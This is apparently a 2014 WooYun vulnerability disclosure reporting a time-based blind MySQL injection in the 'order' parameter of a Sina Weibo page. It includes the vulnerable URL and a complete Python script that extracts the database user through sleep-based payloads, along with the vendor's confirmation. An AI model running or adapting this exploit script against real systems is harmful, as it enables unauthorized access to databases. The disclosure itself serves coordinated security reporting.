当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2014-084801

漏洞标题：新浪微博某站点一处MySQL注射(附验证脚本)

相关厂商：新浪微博

漏洞作者： lijiejie

提交时间：2014-11-26 15:25

修复时间：2015-01-10 15:26

公开时间：2015-01-10 15:26

漏洞类型：SQL注射漏洞

危害等级：中

自评Rank：8

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2014-11-26： 细节已通知厂商并且等待厂商处理中
2014-11-27： 厂商已经确认，细节仅向厂商公开
2014-12-07： 细节向核心白帽子及相关领域专家公开
2014-12-17： 细节向普通白帽子公开
2014-12-27： 细节向实习白帽子公开
2015-01-10： 细节向公众公开

简要描述：

新浪微博某站点一处MySQL注射(附验证脚本)

详细说明：

注入点：

http://lady.weibo.com/hiddphp.php?ac=getwb&bid=1&limit=20&page=1&type=&u=&_=1416952728705&order=1


参数order可注入。MySQL time blind。
页面有检查Referer，测试时需设定。

漏洞证明：

猜解user()，长度18，得到了不完整的：

tvic_r@0.133214


weibo_01.png


脚本附上：

#encoding=gbk
import httplib
import time
import string
import sys
import urllib
import random
headers = {
    'Cookie': 'YFDPOOL=usrmdinst_3',
    'Referer': 'http://lady.weibo.com',
    'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1',
}
payloads = list('abcdefghijklmnopqrstuvwxyz0123456789@_.')
print '[%s]Start to retrive MySQL User:' % time.strftime('%H:%M:%S', time.localtime())
user = ''
for i in range(1,19):   # length(user()) = 18
    for payload in payloads:
        try:
            conn = httplib.HTTPConnection('lady.weibo.com', timeout=90)
            s = "1%2b" + "sleep(ascii(mid(lower(user())from(%s)for(1)))=%s)" % (i, ord(payload))
            conn.request(method='GET',
                         url='/hiddphp.php?ac=getwb&bid=1&limit=20&page=1&type=&u=&_=1416952728705&order=' + s,
                         headers = headers)
            html_doc = conn.getresponse().read()
            conn.close()
            if html_doc.find('unknown error') >= 0:
                raise Exception('oooops')
            print '.',
        except Exception, e:
            user += payload
            sys.stdout.write('\r[In progress]' + user)
            sys.stdout.flush()
            break
print '\n[Task done at %s]MySQL user is %s' % (
    time.strftime('%H:%M:%S', time.localtime()),
    user)

修复方案：

过滤 转换

版权声明：转载请注明来源 lijiejie@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：8

确认时间：2014-11-27 16:32

厂商回复：

感谢关注新浪安全，安全问题正在修复中。

最新状态：

暂无